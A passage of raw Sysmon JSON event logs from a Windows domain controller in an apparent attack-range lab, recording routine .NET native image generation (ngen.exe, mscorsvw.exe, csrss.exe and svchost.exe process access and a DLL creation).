12:02:16.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010349D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010349D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010349D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C8-5F2D-0000-0010A9A00D00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C8-5F2D-0000-0010A9A00D00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001073A00B00}\r\nTargetProcessId: 3908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001073A00B00}","TargetProcessId":"3908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001073A00B00}\r\nTargetProcessId: 3908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001073A00B00}","TargetProcessId":"3908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C8-5F2D-0000-0010F4A40D00}\r\nTargetProcessId: 3908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C8-5F2D-0000-0010F4A40D00}","TargetProcessId":"3908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:16.760\r\nProcessGuid: {90617006-42C8-5F2D-0000-0010F4A40D00}\r\nProcessId: 3908\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f44-0\\System.Activities.DurableInstancing.dll\r\nCreationUtcTime: 2020-08-07 12:02:16.760","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:16.760","ProcessGuid":"{90617006-42C8-5F2D-0000-0010F4A40D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f44-0\\System.Activities.DurableInstancing.dll","CreationUtcTime":"2020-08-07 12:02:16.760","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010EA570B00}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010EA570B00}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010EA570B00}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010EA570B00}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010EA570B00}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 